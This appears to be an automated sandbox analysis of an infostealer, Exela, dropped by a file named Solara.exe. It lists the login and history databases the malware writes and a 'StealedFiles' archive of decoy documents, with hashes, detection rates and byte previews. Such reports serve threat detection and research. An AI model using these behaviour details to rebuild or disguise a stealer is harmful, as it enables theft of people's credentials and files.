Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Exela.exe

Download File

Process:	C:\Users\user\Desktop\Solara.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9949634
Entropy (8bit):	7.9953008751482715
Encrypted:	true
SSDEEP:	196608:bvcgJ3xukvmvNm1E8giq1g9KDeNMHFJMIDJ+gsAGKkRcSRK3ICT:Lc4m1m1NqV44Fqy+gs1hOIC
MD5:	0615D49BE12C174704A3DAAD945F7B56
SHA1:	90D67801DCFF362CE2C2ACCAFD5010C7F79567D6
SHA-256:	573A7F2FA701A7630318119D9E6D916CB8A0ACD87A0A2797B7197E9AE85C0071
SHA-512:	40D702B8FD2993AEEB09755E760D3611D76F927AE6831AB7066386D3A133257E06330DDFF2D28406B77C1D9E502E79A7A72B8984CE0D795948DA07DD03B9BEA9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d...V@hg.........."....).....p...... ..........@.........................................`.................................................4...x....p..,....@..8"..............d...................................@...@............................................text...p........................... ..`.rdata..(*.......,..................@..@.data....S..........................@....pdata..8"...@...$..................@..@.rsrc...,....p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.exe

Download File

Process:	C:\Users\user\Desktop\Solara.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5527040
Entropy (8bit):	6.581917643476937
Encrypted:	false
SSDEEP:	98304:WTbZDzL0GH1JmXFBbbYnHhcWACCR2rbh27ns0ftj371GJfo0PhtpQ9un:ebZDfHmXzIHSWbI2rAnXdxG5PhtpQM
MD5:	089094590DF5698B03A7428A5864ED33
SHA1:	6A4866B798A38E40B61095E2C4A6861B15F4CABB
SHA-256:	C3B138B65057D5A27D859763974A3AFE5DF2693CE64326D36AE8784D092929C7
SHA-512:	001C4AEEDDCBFAA9B979E81B742391C6EC6F9400B23B8B5827C69C7E8C36BD9E8576146F0487C3522DECA21E1488A36C948DFF3C69B2C441406F2081EAD09E4D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....dg.........."...........S.....@..........@..............................T...........`.................................................@...<.....P.. ...pP...............T.x...............................(.......8...............`............................text.............................. ..`.rdata...&.......(..................@..@.data....tO......^O.................@....pdata.......pP......,P.............@..@.00cfg........P.......P.............@..@.tls..........P......0P.............@....rsrc.... ....P.."...2P.............@..@.reloc..x.....T......TT.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\StealedFilesByExela.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	modified
Size (bytes):	37378
Entropy (8bit):	7.801976888166824
Encrypted:	false
SSDEEP:	768:Y5yCR1hSgS/uzwe2teqR1pSISPuzs6xofVR1MS5S5uzj91bPR1tSFuzJGxSgd:OR1qdR12dR1QeR1E5
MD5:	22DE69AD3848BB983E3115496ABE474F
SHA1:	B9B122157C91067370C9CDF59DAA33F7D6A41D35
SHA-256:	15507C53894F75C8BB85CFEF7C4258A054681BD2655AAE8F987CB9627CD7748B
SHA-512:	F2C42C63012A1237B0E6F5717986278625174437F89E4AD85D93EBC7487EE2CE5CF94F2CDE124C8138B5EF9B55174DDC19A0455791429324E85CC7F3C28E3FAA
Malicious:	false
Preview:	PK........o.,Z................Desktop/PK........o.,Z................Documents/PK........o.,Z................Downloads/PK........o.,Z................LFOPODGVOH/PK........o.,Z................LIJDSFKJZG/PK..........EWR..............Desktop/AQRFEVRTGL.jpg..Gn@1.D..r(W.m0.........f...;!.B........u-..B:.....z.%2.0...w+..{.\q../..%..9..~K....fOMw./..uLT$_..4q.....w.=.r.Y.@......sE...,.!'QG..).y`..YSi....T...\|J..\.b..;.4.Z...\|.&.G...b..Iz....q6:.Y..&.c}..1.\|......\@.....C..r<.E/W.Y.Hc....i.V....N..f.P.<seW...d..>s...B...BA.&..%..7e....p.Tkj.o.4.k..D*<>5@..}v9.Ur...aa..Q2...7w=...W^.,...&.J...'...u8...J....$..D._....jK].vn-.\.v}.e.p_=GO.l....n..v.hZ..{.#..J5......n.R.\|..n.Q.J?_..R.t....8......Q.-..3.q.O^.I.i{.RA,D{..e..W....Y.h......,.l4ub...b...(<_.........~..r........C.s\|........Jn8..`.-...6i.C?.>...PR..T.T.../i\...8....XQT.e?..!.X.$G.{~..ZZ....L....4....9......?PK..........EWR..............Desktop/AQRFEVRTGL.xlsx..Gn@1.D..r(W.m0.........f...;!.B........u-..B:...

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\AQRFEVRTGL.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\AQRFEVRTGL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	true
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\BXAJUJAOEO.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701111373123985
Encrypted:	false
SSDEEP:	24:wSplMoG/A1oXDoMwazZW6QAFWyGjkGKnEuDxOaV9YnF7U:walZG/A12L8MFYr8EuxTK9U
MD5:	CA5A3E2A0C2DDF92EABE165672425976
SHA1:	1933AC1A510945A766039E7E61D7DA4156E0F074
SHA-256:	4180C6A01C86C7D86A51B5C17957BAECF34EBB7FCB6C5968835A5DB64E3C9667
SHA-512:	64FC7B64CDAF57CF026C803A16036BDDC46CA86AC9C35A804FCE188AFA3056C324D62CCEBD45E7E607A53D11A1035CB6C38B24004D14F0DC17B11D8DFBD7DB6C
Malicious:	false
Preview:	BXAJUJAOEOZPYQVMPMMPXXMVCPSLTTLUOLYYQUQKLRMOQNFWEOCYDOLITPCVDLYSWYQACZEJIDILMNOOUVEVBOSWPXYLBOGFYWHZVFNHRJXYLODFWJLFJKMUXRMLQJAGMERGOWKSMBXUJUMRUBMROMDBISUWTFWPXBVVSTBYHRHUOKCJNGMCOLUFOVLKFFIUZHRPZUITDNNTTEJKTUSBPVEUSTDXHRMZNWZQSUEGRYELXBLVKZHEIVACMOHJWFJRPJKNIDOXZHIEUDGLSGKALGUCHSOBYGTVWDOVYUEMXJWYDCHTXKLWDJLIZFFBQOMRYKZVRXZYKIPKCJEYOVOQCGFXCUNQKHYBXFYRGYUQAUKMCSQKKDJIQWKZEWMJWHJDDENKZLPNJAJLVIEXHEGVFHRIOBAWGXOXLQJIISBHZZGJYZBYNUOKMCKTICSMRTMZVLKMZTCWKHOHWQBKEBGEASMMYEGDDSCGDTYEPANLCQSJIRCTCUHXIVGBREMBTULUXWAZISUYERUZPWQLRSPPVNCMSPDUHQTJKYNEEWYIFNUCJJSDFDNQJLWDBLURDBXKLJVMGWUBKEXPYFIJNWRSUNUJBZAWJQEZWEYFLNXWPKFJZFMVPYOJFFUYCTEUKFWSOFUOTKIGENNTAAXCAHPWQNKMKKGNWIOGZOBPOTDAQLZSIGMQTNQVGQJNNITTRMOHBPCHTGJANZTLZHNSTOQXJKIAZXWPQWIDJXZUURGYMTMZTWQNTRVEKAAWBRZQWZYVWKWEVAUTRSOXDHWSYIZYRJFVXSPNFOTDNAGHDFYSAEEFBXGQQGYMZHMQHZTDMNYXDQJKMLAXJWCBQUIKQFEPVZNRMOWEKGFDLUJLSXRKKJUIGCSCGZTXLHOWGMKDLSQHDWSPCYROUJEHKXBJSADOXSOMTTUGHDSOBTNUEDCBNWNIDSDBZKBGFCJHQNDVAAZTKEIMDCTKNOQUKPNHEQOBANQSCJQRQBRAIBBXRYTT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\DQOFHVHTMG.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	true
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LIJDSFKJZG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LIJDSFKJZG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	true
